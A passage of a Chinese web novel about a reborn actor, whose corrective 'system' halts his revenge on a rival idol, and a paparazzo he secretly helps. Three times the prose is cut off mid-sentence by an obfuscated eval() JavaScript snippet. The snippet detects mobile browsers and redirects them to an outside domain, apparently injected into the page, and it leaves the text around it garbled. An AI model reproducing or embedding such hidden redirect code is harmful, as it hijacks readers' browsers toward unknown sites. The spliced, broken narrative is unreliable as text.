《论渣男改造的一千种姿势》 4. 他无能为力的曾经 这样的话,系统说过没有十遍也有八遍,席年显然并没有放在心上,对此置若罔闻,避开那些蜂拥而来的记者,回到后台换了衣服,准备离开。 孙铭一路跟着他,见状连忙拦住去路:“哎哎哎,走什么,外面那么多记者都在等你,好歹出去露个脸吧。” 席年一身黑色运动装,左肩背着旅行包,他伸手将拉链拉到下巴,遮住大半张脸,没有丝毫要接受采访的意思:“不去。” 一双手插在裤兜里,在无人看见的地方,指尖开始控制不住的轻微抽动,又被他攥紧拳头压了下去。 孙铭闻言扶了扶眼镜,眉头紧皱,声音带着些许恼火:“你这次抢了苏格的风头,事情可没那么好收尾,他跟公司的合约期已经到了,高层都在想办法让他续约,万一他记恨上你,拿这件事做要挟,你自己想想后果!” 经纪人和艺人之间是互利互助的关系,一荣俱荣,一损俱损,席年能出风头,对孙铭来说是好事,但这种“风头”显然不是公司高层想看见的。 一个早已经捧红的偶像,一个前途未明的新人,傻子都知道怎么选。 席年却只说了三个字:“随他们。” 山行娱乐显然不是一个好选择,因为合同条例太过苛刻,和旗下不少艺人都在打官司,名声越来越差,实力也在走下坡路,他并没有长期签约下去的打算。 孙铭此时还不知道他的想法:“你脑子让门夹了?!只是一个小比赛,输给苏格也没什么,以后机会多的是,你现在压过他,明天微博就会被他家粉丝屠得腥风血雨,简直不知所谓!” 他见不得席年这幅不痛不痒的滚刀肉模样,胸膛起伏不定,说完冷笑一声,怒气冲冲的转身离开了。 席年又不可能去追他,只是垂眸看了眼自己的右手,腕骨部分肉眼可见肿了一圈,他不着痕迹拉下袖子,正打算去医院看看,忽然想起手机落在了休息室的柜子里,又折返了回去。 休息室四下无人。 席年从柜子里取出手机,上面清晰显示着时间,屏幕闪着微弱的荧光,但不多时又灭了。 26号。 他依稀记得上辈子这个时候,翌日清晨的微博头条被某知名男星的出轨新闻牢牢霸屏,闹出了一场不小的风波,而幕后黑手就是陆星哲。 所以粗略算算,那个臭狗仔的腿大概就是今晚被撞伤的? 席年单手撑住柜门,不知在想些什么,片刻后,撇了撇嘴,系统009在暗中观察,总觉得他在幸灾乐祸,仔细一看却又不太像。 “恭喜你了,第一名。” 就在席年出神的时候,他身后忽然响起一道阴阳怪气的声音,他转身一看,却发现是苏格,眉梢略微扬起,心知对方是来找麻烦的。 苏格刚才被那些记者围堵追问半天,脸色要多难看有多难看,他走到饮水机前接了杯水,心头火气一阵一阵的往上窜,又见席年爱答不理的模样,冷冰冰问道:“你很得意?” 席年上辈子在娱乐圈也算混了不少年,苏格这种言语挑衅的把戏对他来说就像小孩过家家,让他连敷衍的心情都没有,闻言侧身避开他,径直朝着外间走去。 没有任何恶毒的言语会比这种漠视更过分。 苏格本来就因为丢了面子大为光火,他原本可以走到决赛,结果在淘汰赛就直接被踢出去了,丢失不少曝光机会,见状上前挡住席年去路:“才几点就打算走,不留下来看看后面的比赛?” 他手中端着杯子,里面接满了滚烫的开水,说话时,不知是有意还是无意,忽然像是被绊了一跤似的,身形倾斜,径直朝着席年摔了过去,同时故意惊呼出声—— “小心!” 滚烫的热水瞬间倾倒而下,席年反应过来飞速后退,苏格见状眼底暗芒一闪,故意攥住他的胳膊不让动弹,然后如愿看见席年袖子瞬间被浇湿大片,热水顺着他手腕滴滴答答下落,在瓷砖地上蜿蜒流淌—— 席年露在外面的手背肉眼可见开始泛红,甚至烫起了水泡。 苏格见状暗自勾唇,站直身体,终于松开他,看了眼手中空空如也的纸杯,没什么诚意的摊手耸肩道:“不好意思,刚才没站稳。” 说完将手中空荡的纸杯捏成一团,随手扔进垃圾桶,无不讥讽的道:“别忘记后天的比赛,可千万要拿个第一名回来。” 遇上这种事,当事人要么选择原谅,要么公之于众,可惜前者席年做不到,后者传出去没人信。 休息室的门半掩着,苏格正准备离开,身后忽然传来一股大力,紧接着被人一脚踹在了地上,半天都没爬起来,而门也因为他向前扑倒的作用力而咔嚓一声关上。 席年站在他身后,面无表情拉下拉链,将浸着热水的外套脱下丢在长椅上,然后俯身攥住他的衣领,把人从地上揪了起来,低声道:“其实比不比赛都不要紧,友谊第一,比赛第二。” 他说这话时,唇角笑意愈盛,看了却只让人觉得胆寒,席年对自己受伤的右手视若无睹,用力禁锢住苏格的脖颈,把人拖死狗般往饮水机那里带,看着上面的绿灯道:“啧,原来还有热水。” 苏格力气没他大,挣扎的脸红脖子粗,闻言似乎察觉到席年要做什么,瞳孔瞬间放大,拼命蹬腿:“你疯了!赶紧松开我!!” 六七月的太阳正烈,阳光透过玻璃肆意铺展,却掩不住席年满身阴霾。系统适时出现,“叮”一声现出了身形。 【警告!警告!检测到宿主做出危险行为,已违反改造条例,请立刻停止!】 席年充耳不闻,空出一只手抽了个杯子去接热水,似乎要替他来个开水烫头,苏格见状魂都吓飞了,由一开始的呼救改为求饶,痛哭流涕的道:“席年!我错了,我错了,我求求你,放过我吧!!” 系统见席年动作未有丝毫停缓,不由得加大了警示力道,身上的蓝光变成了红灯,闪烁不停:【请宿主停止当前行为,否则此画面将上传星际总部,如被判定违规,将失去重生机会】 系统说完,周遭的一切忽然都静止了下来,像是被人按下暂停键般,突兀的被定格在了原处,紧接着时间飞速后退,长椅上的外套忽然重新穿在了席年身上,垃圾桶中的纸杯也被一种不知名的力量牵引着,重新回到了苏格手中。 他们回到了一分钟前刚打架的时候。 地上有一滩蜿蜒的水,还在隐隐冒着热气。 席年浑身上下像是被定住了,动弹不得,右手袖子滴滴答答的往下落着水,灼热滚烫。 他眼见苏格站在自己面前,把手中的纸杯捏成一团,随意扔进垃圾桶,动作和一分钟前一样,连语气都没变过,讥讽冷嘲道:“别忘记后天的比赛,可千万要拿个第一名回来。” 说完拍了拍袖口的灰,转身离去。 席年眉目冷冽,依旧想打爆他的狗头,奈何四肢僵硬,所有力气都宛如泥牛入海,连迈开步子都做不到。 心知是系统搞的鬼,席年只能放弃了挣扎,他睨着半空中漂浮着的蓝色光球,眯了眯眼,不知是夸它还是讽它:“你来的还真是时候。” 系统果冻似的蓝色身躯抖了抖,看起来柔软至极,声音断断续续,带着刺啦的电流声:【宿主,下不为例,不要走错路……】 人这一辈子,是不能走错路的。 天底下没有不透风的墙,纸也包不住火,现在走过的弯路,做过的错事,总有一天会人尽皆知。 休息室里安装了监控,席年明明有无数种更为稳妥的应对措施,他却偏偏选择了最偏激的一种,在惩治施暴者的同时,也将自己拉下了泥潭。 席年不领情,他本来也不是什么好人,只一字一句的道:“少多管闲事。” 他说完,走到洗手池用冷水冲了冲被烫红的手背,这才背着包离开体育馆,驱车前往医院。 狗仔这种职业总是卑劣且让人鄙夷的,加上绯闻的短暂时效性,一旦出现目标人物,他们就会像嗅到血腥味的鬃狗般蜂拥而上,而陆星哲无疑是其中的“佼佼者”。 晚十二点,城市已经陷入了寂静,玲珑湾属于高档住宅区,环境清幽,这个点连行人都看不见,只有偶尔几辆汽车呼啸着飞驰而过,最后又重新没入黑暗。 陆星哲已经在树荫下蹲守了八个小时,他手中的相机对准小区大门,不放过任何蛛丝马迹,饶有耐性的等待着目标人物出现,但那头的雇主却似乎有些急躁,电话一个接一个的打,不断催促着。 话筒那边的声音是一名女性,一阵嘈杂过后,又突兀的静了下来:“我要的东西你什么时候能交,他明天就要飞去美国拍戏,下次再想拍到他和那个狐狸精私会可就没那么容易了。” 陆星哲嘴里嚼着口香糖,树影婆娑,在肩头打落一片暗色,他抬手压了压帽檐,声音像冰块碰撞在杯沿,浸出一种丝丝凉凉的意味:“简太太,急什么。” 被称作简太太的女子恼怒不已:“他下个星期就要跟我办离婚了,你让我怎么不着急?!” 陆星哲眼中笑意不变:“你现在要么等,要么找别人。” “你——” 女子闻言一噎,满腹的抱怨被这句话立即给堵了回去。 陆星哲虽然名声恶臭,但手上爆的料十有九真,消息网也是最广的,只是从不露面,很少人知道他长什么样子,这次联系上陆星哲,她也费了不少劲。 简太太不自觉攥紧话筒,到底忍了下来,她竭力缓和语气,咬紧牙关:“最迟明天八点,我要他出轨的证据。” 陆星哲只说了三个字:“等消息。” 然后掐断了通话。 时间一点一滴过去,在朦胧的夜色中,小区大门口忽然出现了一对举止亲密的男女,像是夫妻。男方身形颀长,裹的严严实实,连脸都看不清,怀里搂着一个身形曼妙的长发女子,朝路边停着的黑色跑车走去。 树荫下的角度并不能拍到男子正脸,陆星哲调整角度,也只能拍到一个模糊的背影。他动了动僵麻的腿,心道简亦宏平常在电视上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15891932|176506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着老老实实,背地里原来也是个老狐狸,大半夜出来还捂这么严实。 陆星哲看了眼四周,干脆把相机藏进随身携带的单肩包里,然后压低帽檐走了出去,低头装出一副玩手机的模样,乍看只以为是个普通的过路人。 离的近了,还能听见那对男女隐隐约约的说话声。 “你什么时候跟那个黄脸婆离婚?” “快了,你乖一点,我明天飞美国拍戏,可能要几个月才能回来,照顾好自己。” “我可以去看你……” “不行,会被记者拍到……” 陆星哲眼见他们上车,略微后退了几步,将身形掩在阴影下,然后举起相机对准在车内亲的难舍难分的一对男女咔嚓按下快门,镜头在路灯的照映下,微不可察闪过一抹白光。 艺人对镜头大多敏感,更何况在做亏心事,简亦宏能在娱乐圈混这么久,抛开他的老干部人设不谈,与其圆滑精明也脱不开关系,他眼角余光敏锐捕捉到镜头白光,下意识往车窗外看去,正脸暴露无遗—— 陆星哲见状顾不得隐藏形迹,直接举起相机一阵连拍,简亦宏立刻发觉不对劲,条件反射将怀中女人推开,低怒道:“有记者!” 他说完立刻用衣领挡住脸,脚踩油门想离开,仓惶间将速度提到了最快,因为在黑夜中看不清方向,竟是直直朝着陆星哲撞了过去。 “砰——” 眼见车辆袭来,陆星哲瞳孔微缩,立刻敏捷的侧身躲闪,谁知却仍是慢了一步,左腿被车前身剧烈撞击,整个人因为作用力直接滚到了路边,而简亦宏见状没有丝毫停顿,脚踩油门飞速逃离。 伴随着引擎声的远去,周遭道路重新陷入了寂静。 陆星哲被撞的七晕八素,好半晌才回过神来,他挣扎着从地上起身,顾不得剧痛的左腿,先是检查了一下手中的相机,确定刚才的照片没有闪失这才放下心来。 狗仔这行也不好做,擦伤撞伤是常有的事,陆星哲看了眼简亦宏离去的方向,然后把相机塞进背包,扶着路边的树干踉跄起身,喘气平缓着周身的疼痛,半晌后,竟是笑了笑。 算了,他最不喜欢跟死到临头的人计较了…… 希望对方明天还能继续这么横冲直撞。 他用手机仅剩的电量给雇主发了条信息,然后捡起地上的棒球帽拍了拍灰,一瘸一拐的想离开,谁曾想刚刚迈开步子,膝盖就陡然传来一阵剧痛,令他直接失去平衡跌倒在地。 “唔……” 陆星哲一惯能忍,此时白着脸闷哼出声,可见是痛极,他抱着腿,半天都没能从地上起身,后背渐渐被冷汗洇湿一片痕迹。 妈的。 陆星哲闭眼低咒出声,不禁喘了口气,他摸索着碰了碰自己的膝盖,掌心一片湿漉漉的粘稠,像是血,可惜夜色太过暗沉,令人难以分辨液体颜色。 不远处的路边静静停着一辆白色的车,席年坐在驾驶座,双手抱臂,靠着椅背淡淡阖目,透过被路灯晕出浅淡光芒的挡风玻璃,依稀可以看见陆星哲从地上起身,然后一瘸一拐的往前走去。 走两步,艰难顿住身形。 再走几步,又失去平衡重重跌倒在地。 短短的十几米路,对方走了足足有五分钟,数不清摔了多少次。 席年坐在车里,一直没有动,他或许是想看看陆星哲怎么回去,又或许是想瞧瞧对方的笑话,有好几次系统都以为他会下车去帮忙,但席年却只是调整了一下坐姿,然后继续观察着对方的情况。 他像是一个观众,以挡风玻璃为屏,自在平淡的看戏,而陆星哲则是电视里的人。 大城市的夜晚很少见到星星,只有惨淡的月亮,陆星哲出了一身冷汗,风一吹,露在外面的皮肤都浸着寒意。他断断续续走了一段路,最后终于支撑不住,白着脸跌坐在了地上。 这次他没能爬起来。 身上都是灰,裤腿沾血,模样狼狈。 陆星哲以前对席年说过,他被车撞的时候,不怎么疼,所以先去找雇主把手中拍到的照片卖了个高价,这才去医院,不过已经错过了最佳治疗时间。 “倒霉呗,就瘸了。”陆星哲对此一笔带过。 但很明显,他撒谎了。 他不是不疼。 只是没有人可以救他。 陆星哲从小在孤儿院长大,是个没爹没妈的野孩子,朋友也不见得有几个,但不知道是不是因为狗仔这个职业太令人生厌的缘故,被车撞了也很难让人觉得他可怜,只能想到活该二字。 起码席年就是这么想的。 他的目光透过车窗玻璃,最后定格在陆星哲的左腿上,对方膝盖那里有一片干涸的暗色,是血凝固的痕迹。 这个时间已经接近凌晨,附近不会再有车辆经过。 席年略微动了动,就在系统以为他又是因为坐麻了而调整坐姿时,男子却从隔层抽出一个黑色口罩戴上,然后打开车门下车,径直朝着陆星哲走了过去。 7. 试探 席年并不知道自己已经被陆星哲认出来,深夜驱车回到了居住的公寓,这个地方是公司安排的,算不上高档,勉勉强强能住人。 离天亮还有不到两个小时,席年睡意全无,上网看了眼消息,发现苏格那条卖惨的微博被人疯狂转发,点赞数量直线飙升。 嘁。 席年心想,他第一次看见比自己还不要脸的人。 卧室很小,比不上他前世成名后住的别墅,席年躺倒在沙发上,一手垫在脑后,另一只受伤的手静静垂落在边沿,指尖几欲触到地板,皮肉传来的灼痛如附骨之疽般甩也甩不掉。 但他目前做不了什么。 没有人气,也没有金钱,面对这种情况,更多的时候只能选择沉默。 这种无力感比什么挫折都来得让人不甘心。 席年闭上眼,静静掐算时间,清晨天亮的时候,他从口袋里摸索着掏出手机,不出意外看见词条更新,经过一夜的时间发酵,苏格受伤失赛的事已经登顶热搜第二,热搜第一则是知名影视男星简亦宏深夜私会小三的出轨门。 不用说,一定是陆星哲的手笔。 席年动了动僵麻的腿,然后起身拉开窗帘,天光倾泻进来的一瞬刺得他下意识闭上了眼,好半晌才缓过来,室内摆设一览无遗,黑白灰的极简色调,和主人一样,处处透着冷硬。 娱乐圈是踩着别人往上爬的地方,不是东方压倒西风,就是西风压倒东风,这个道理他比谁都明白。席年指尖在手机屏幕无作为的滑了两下,最后还是拨出了那个早已烂熟于心的号码。 彼时陆星哲还没离开医院,听见来电铃声响起的一瞬,他扬了扬眉,睨着屏幕上那一串陌生数字,双手抱臂无动于衷,神情让人琢磨不透,但末了还是按下接听键,声调一惯沙哑慵懒:“谁?” 他心中大概能猜到是谁打来的电话,但偏要故意这么问。 席年站在落地窗前,目光透过玻璃,恰好看见东方破晓的一瞬,他单手插兜,唇间缓慢吐出了三个字:“你大爷。” “你大爷!”陆星哲条件反射直接骂回去了。 席年笑了笑:“现在知道我是谁了?” 他有一把低沉的好嗓子,和那双眼睛一样令人难忘。 陆星哲扫了眼手机屏幕,没说话,他喜欢把所有事都往最坏的方向去猜测,自从昨天发现席年的身份开始,他就觉得对方接近自己一定有原因,又或者,带有一定的目的性。 一个不出名的小明星,一个臭名昭著的狗仔。 这两种人凑在一起,八成是没什么好事的。 陆星哲演戏也是个中好手,他只字不提自己已经猜出席年的身份,漫不经心道:“我又没见过你的脸,怎么知道你是谁,是不是,昨天救我的好心人?” 最后三个字,落在双方的耳朵里,都带了些许意味深长。 席年从没觉得自己是好人:“这不重要。” 陆星哲指尖在床沿规律性的轻点:“那什么才重要?” 他垂下眼眸,静等席年暴露接近自己的目地,不知道为什么,忽而感到有些兴致缺缺,但又觉得没必要大惊小怪,毕竟娱乐圈的人没几个是干净的。 就像太阳日复一日的从东边升起,从西边落下,如果没有外力干扰,席年就算重生,也还是会重复上辈子的老路,沿着命运既定的轨迹前行。 通俗点来说,就是狗改不了吃屎。 “有一笔生意找你谈,爆苏格的黑料,价钱我出双倍。” 席年满肚子坏水比墨还黑,依旧没歇了利用陆星哲的心思,然而他这句话还未来得及说出口,嗓子就像被什么东西黏住了似的,怎么都发不出声音,瞳孔因为错愕而瞬间放大,一向古井无波的神情出现丝丝裂缝,显得惊疑不定。 一颗蓝色光球悄然浮现在他眼前,死板的机械音细听有些许严肃:【亲爱的宿主,此行为已违反星际道德改造条例第三十二条,请立即停止教唆,否则将执行电击惩罚。】 “……” 他妈的。 席年如果不是说不了话,一定会爆粗口,他视线冷冰冰睨着系统,眸中显而易见的暗沉翻涌。 系统对于这种事并没有什么退让的余地,却也还是在这样的目光下怂了一瞬,小声提醒道:【这样是不对的,我们要好好改造,重新做人】 说完解开了禁言术。 而电话那头,陆星哲久久听不见他的回答,用指尖敲了敲手机背面,发出低沉的声响,挑眉道:“怎么不说话?” 席年:“……” 009号系统并没有离开,小小的身躯在半空中上下浮动,周身时不时闪过微弱的蓝紫色电流,滋啦滋啦的声音刺得人耳朵发麻,透着无声的威胁。 趋利避害是本能,席年静默一瞬,最后还是决定好汉不吃眼前亏,到嘴的话又重新咽回了肚子里,顿了顿,出声问道:“……腿怎么样了?” 陆星哲等了半天,没想到他要说的就是这个,意味不明的反问道:“你大清早打电话来就是为了说这个?” 在系统虎视眈眈的监督下,席年到底也做不了什么,大抵是窗前阳光太过亮眼,他重新在沙发落座,身形下陷时发出轻微声响,随口敷衍道:“嗯,怕你瘸了。” 陆星哲:“……” 他捏着手机,没说话,掌心却出了一层薄汗,被这种陌生的情绪弄得有些心神不宁,小声嘀咕道:“瘸了也不关你的事。” 席年耳朵尖:“瘸了可没人照顾你。” 毕竟陆星哲的爹妈早就死了。 陆星哲闻言撇嘴,他天性多疑,那短暂的微妙情绪过后,开始不着痕迹套席年的话:“昨天的事算我欠你一次,有什么要帮忙的,可以开口。” 当然,开口他也不一定会帮就是了。 席年倒真有不少事需要陆星哲去做,可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15891935|176506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他睨了眼身旁像吊死鬼般阴魂不散的009,只能暂时压制住那些念头,声音隔着话筒传来,有些许失真:“不用,好好养伤。” 他说完就挂断了电话,利落又干脆,并没有提出陆星哲预想中的任何要求,仿佛只是单纯关心他的伤势。 陆星哲听着那头传来嘟嘟嘟的忙音,有片刻怔愣,他回神看了眼手机屏幕,不知在想些什么,半晌后,指尖微动,存下了席年的号码。 明天就是星运会男子射箭组的第二轮选拔赛,见个面而已,有多难,他不信席年不去。 最近娱乐圈不太/安宁,网友本来就因为苏格比赛失利这件事吵的天翻地覆,谁曾想又出了简亦宏夜会小三的出轨门,几口大瓜吃下来差点没噎死。 陆星哲当狗仔这么多年,什么风浪没见过,他一看苏格的微博就知道是故意卖惨,受伤十有八九也是假的,估计是为了挽回面子所以才这样做,只有粉丝还被蒙在鼓里。 评论区对席年虽然是一面倒的骂声,但架不住他太凉,根本没有几个粉丝出言维护,那些人骂累了也就停了,现在更多的则是冷嘲热讽—— 嘲讽他这个第一名是靠运气得来的。 陆星哲不知想起什么,拿起手机发了条消息出去,十分钟后,他的私人邮箱就收到了一段视频,赫然是席年与苏格比赛现场的未剪辑版。 画质是高清版,比网上流传的一些模糊片段不知清晰多少,陆星哲拖动进度条,并不放过任何一处细节,最后发现苏格的手在比赛时并没有任何受伤迹象,堪称白白净净,和微博上晒出的青紫图片压根对不上号。 反倒是席年,后半场比赛一直在不着痕迹的调整姿势,右手拉弓的动作肉眼可见的有些许滞涩,只是不仔细看根本看不出来。 “啧,”陆星哲不期然想起席年手上缠的纱布,撇了撇嘴,自言自语道,“受伤的该不会是你吧……” 男子射箭组共有32名参赛选手,第一轮淘汰赛就刷掉了近一半人,晚上的时候,席年收到了孙铭发来的晋级名单。 “这是你明天的赛程表,记得别迟到。” 孙铭觉得自己这个经纪人做得实在憋屈,他大半辈子从没见过席年这么难管教的艺人,连带着语气也相当不善,喋喋不休的道:“早就告诉你不要赢苏格,现在好了,他家粉丝到处撕你,争一时意气有什么用?有什么用?!大老板昨天打电话把我训了一顿,知道为什么吗?就是因为你目光短浅!” 席年压根就不是低头受骂的主,抽过茶几上的杂志,随手翻了一页:“目光短浅也比你瞎了强。” “你——!”孙铭闻言一阵语结,只觉得席年最近越来越猖狂,在电话那头气的眼珠子都快瞪出来了:“席年,你长本事了是不是?!以后遇上事你可别哭着求我!” 席年说:“嗯,放心,绝对不求。” 以后桥归桥,路归路,他们香水不犯洁厕灵。 8. 瞩目 体育馆入口每天八点开放,翌日清早外面就已经挤满了人,排了整条长队,席年把车停在路边,从选手通道进去时,摘下墨镜往乌泱泱的人群看了一眼,发现大部分都是苏格的粉丝。 第二轮淘汰赛的门票从预售开始就几乎被她们抢购一空,如果不是主办方私下散出去一些内部门票,估计别家粉丝挤都挤不进来。 淘汰的选手有观赛权,苏格虽然已经出局,但仍然可以坐在主办方为艺人留出的观赛区继续观看比赛,偶尔蹭个镜头也是稳赚不赔,换言之,席年今天还会见到他。 早上的天空是铅灰色的,云层乌压压积在头顶,像是要下雨,有些粉丝为了能偶遇爱豆,刻意守候在特殊通道,一名双马尾女生不慎被人群挤到了队伍后面,而穿着制服的保安忙着维护秩序,推搡起来难免没有轻重,仓促间女生不知被谁推了一把,因为惯性惊叫着向后摔去,眼见就要跌出马路,手臂忽然传来一股大力将她扯了回去。 “啊!” 李曦曦还没从刚才的惊吓中回过神,在察觉到自己被人攥住胳膊时,忙借着对方的力道站稳了身形,未来得及看清来人长相,便手忙脚乱的开口道歉:“对不起对不起,刚才我没站稳,谢谢……” 她话未说完,待看见面前带着墨镜的男子,声音戛然而止。 身为一名合格的追星女孩,不仅需要对爱豆的一切了如指掌,还得眼观四路耳听八方,李曦曦作为苏格粉丝后援团的主力军,更是将这项长处发挥到了极致,在席年带着墨镜的情况下,只一眼就凭借着那惊人的识别能力把他认了出来。 很正常,毕竟昨天才撕过他…… 李曦曦恨不得原地爆炸,妈妈呀,要不要这么尴尬。 席年对苏格没好感,对他家的粉丝也没好感,他看了眼自己被女生紧攥住的手腕,微微皱眉,声音低沉:“松开。” “啊?哦哦哦。” 李曦曦闻言低头,这才发现自己还拉着席年的胳膊,反应过来触电般急忙缩回手,整个人尴尬无比,脸色臊红,完全处于当机状态,然而还没等她想好该说些什么,男子就已经转身,径直朝着一旁的特殊通道走去,背影很快消失在旋转门后,淡漠得有些不近人情。 李曦曦愣了一瞬,无意识吸了吸鼻子,却感觉空气中有一股淡淡的药味。 不远处的同伴正隔着人群向她遥遥招手:“曦曦!快点过来,准备检票了!” “啊?我马上来!” 李曦曦闻言回神,忙应了一声,弯腰捡起刚才不慎掉落在地上的蓝色纸袋,心疼拍拍上面的灰尘,这才小跑着重新挤进队伍。 同伴看了她一眼:“你刚才干什么去了,找你半天。” 李曦曦含糊其辞道:“刚才被人挤出去了,差点摔个狗吃屎,幸好送给苏格的礼物盒没有坏。” 同伴笑嘻嘻的推了她一下:“这次我们的位置在前排,说不定能亲手把礼物送给他呢。” “嘻嘻,我也希望。” …… 时间虽然还早,但后台休息室已经到了一些人,几名三四线艺人零零散散坐在各自的位置上,等着化妆师化妆,席年背着包进去的时候,他们都下意识看了过来,各种意味不明的目光聚在一起,让人如芒在背。 席年对此视若无睹,他随手拉了张椅子坐下来,双手抱臂的样子看着就不是什么善茬,再加上不是所有男艺人都像苏格那么阴阳怪气的嘴碎爱挑事,因此气氛相对来说还算平和。 化妆师简姐看见他,拎着箱子走了过来:“你是上午的场次,先给你化吧。” 简姐是公司外聘的化妆师,席年和她也算认识,平常偶尔能搭几句话,但不算熟,闻言暂停刷手机视频的动作,顿了顿道:“谢谢。” 简姐笑着哎呦了一声:“这么客套干什么,我就出去受训了几天,回来你就学人家走高冷人设了,小屁孩。” 她最大的儿子都已经快成家立业了,席年才二十出头,可不就是小屁孩。 简姐说完又道:“今天比赛好好发挥,外面说什么就随她们去吧,娱乐圈现在当红的几个老前辈,谁年轻的时候没被撕过,不都是一步步熬上去的么。” 席年正在看比赛名单,闻言含糊的应了一声,他这次对战的选手是第十六名的陈思豪,对方走典型的奶油小生路线,细胳膊细腿,身板弱不禁风,危险系数完全可以忽略不计。 艺人本来就不是专业选手,整体水平说不上高,星运会的举办更多是为了博取观众视线,无论是射箭还是游泳,其实都像小孩过家家,说难度高那是假的。 偏偏这次不少人都在等着看席年的笑话,指望他败北。 上午十点,比赛临近开始的时候,孙铭才哈欠连天的姗姗来迟,他看见席年自然没什么好脸色,扶了扶鼻梁上架着的眼镜:“今天主办方要给你们录一个宣传片,谁都不能缺席,你比赛完可不许提前溜,合同上白纸黑字写着要配合工作,到时候出了岔子你自己解决。” 他语焉不详,也不说几点开录,摆明暗地里使绊子,而席年一直拿孙铭的话当放屁,闻言压根不理,从长椅拿起外套穿上,径直走向了赛场中央。 东区的主持人正在热场,甜美的声音透过话筒传到了每个人的耳朵里,镜头依次略过所有赞助商和教练评委,最后落在了选手的身上。 “……上一期的比赛万分精彩,相信这一场会更加出色,在此祝愿各位选手取得佳绩,让我们拭目以待,比赛正式开始!” 陈思豪一米六八出头的个子,从身高上就逊了席年一截,气势更不用说,他不知是不是吸取了苏格被甩冷脸的教训,也没上前套近乎,只是对着他客套又疏离的笑了笑。 席年刚才在后台拆了手上的纱布,换上一双黑色的半指护套,将伤处遮得严严实实。在系统看来,这是个矛盾至极的人,他好强且自尊心重,为了往上爬而使尽阴谋诡计,偏偏不喜欢别人可怜他。 观众席前排的位置就是选手观赛区,各家站姐都扛着相机有备而来,为了抢占有力地形一个劲往前挤,陆星哲今天刚从医院偷溜出来,腿上还缠着纱布,他找关系弄了张工作人员证,直接占据了视野最好的中位。 追星大多是女孩,冷不丁混进来一个男人,看起来着实有点奇怪。 旁边一个女生看见陆星哲手中的专业相机,又见他腿上带伤,不由得小声问了一句:“你也是来追星的吗?” 陆星哲原本正在找角度拍席年,闻言抬起头瞥了眼说话的女生,然后收回视线,敷衍的嗯了一声。 女生感慨似的道:“你受伤了还追星,也太励志了,当你爱豆真幸福。” 陆星哲:“……” 对方不说还好,一说陆星哲也反应过来了,他腿还瘸着,为什么要大老远跑过来看席年,简直莫名其妙。 这么一想,他不自觉放下了手中的相机,准备坐回自己的位置。 场上的主持人在进行解说:“……九号选手席年犹如一匹黑马半路杀出,在上一期成功拿下排位,不知道这次的比赛能不能继续维持水准……” 陆星哲听见旁边的女生在和同伴窃窃私语。 “嘁,维持什么水准,不就是走狗屎运赢了苏格一次吗,有什么了不起的。” “还没拿冠军呢,席年尾巴都要翘上天了,看他这次怎么浑水摸鱼。” 女生说着,忽然注意到陆星哲似要离开,眼睛一亮忙上前问道:“你不拍了?位置可以让给我吗?” 陆星哲闻言,看了她一眼,然后出人意料的转身重新走回中间位,举起相机对准场中央,头也不回的拒绝道:“不可以。” “……” 席年和陈思豪已经准备 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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孟浅霖和俞凡都是当红偶像,粉丝群庞大,格子粉就算撕上来她们也有一战之力,席年一个小透明,今天如果比赛输了被淘汰出局,不被撕到退圈才怪。 比赛已经开始,读秒器开始计时的瞬间,席年动作利落的张弓搭箭,然后拉开弓弦,然而就在他发力的同时,手腕一阵剧痛袭来,导致箭尖瞄点微不可察偏移了几毫米。 席年的手已经控制不住的在轻微颤抖,却又被他强压了下去,偏偏大屏幕对准了他,有眼尖的人已经发现了这一细节,纷纷交头接耳。 “席年的手怎么在抖?是不是我看错了?” “你没看错,刚才确实抖了一下,他的弓弦都没拉满。” “他是不是太紧张了?还是害怕了?” 别人不知道原因,陆星哲却知道,他神色复杂的注视着会场中央的男子,视线下移,最后落在了对方带着黑色护套的手上。 席年为数不多的几个粉丝见状面露担忧,有些惴惴不安,想替他加油打气,却又怕惊扰到了他,孟浅霖家的粉丝叹口气,小声道:“唉,席年八成要淘汰出局了。” “怪可怜的,苏格家粉丝估计又会借题发挥去撕他。” “谁说不是呢。” “……” 无视了周遭的议论纷纷,席年喘口气,闭了闭眼,他将右手短暂的松缓两秒,然后就又抬手拉满弓弦,重新对准靶位,前所未有的全神贯注,因为他这一动作,连带着众人的呼吸也跟着屏住了—— “嗖!” 只见一支黑杆箭在全场人的注视下,带着破空声飞速射向了靶子,白色的尾羽还在轻微颤动,然而未等大家定睛去数环数,广播声就已经先一步响起。 “九号席年,第一组第一箭,十环。” 9. 下雨 “十环”两个字一出,全场都静了静,观众愣了两秒才反应过来席年第一箭就中了开头彩,周遭掌声顿时雷鸣般响起,而其中最高兴的莫过于席年那为数不多的粉丝,又蹦又跳兴奋得脸都红了。 他赢了,她们与有荣焉。 好似一下子有了底气般,连腰杆都挺直了几分。 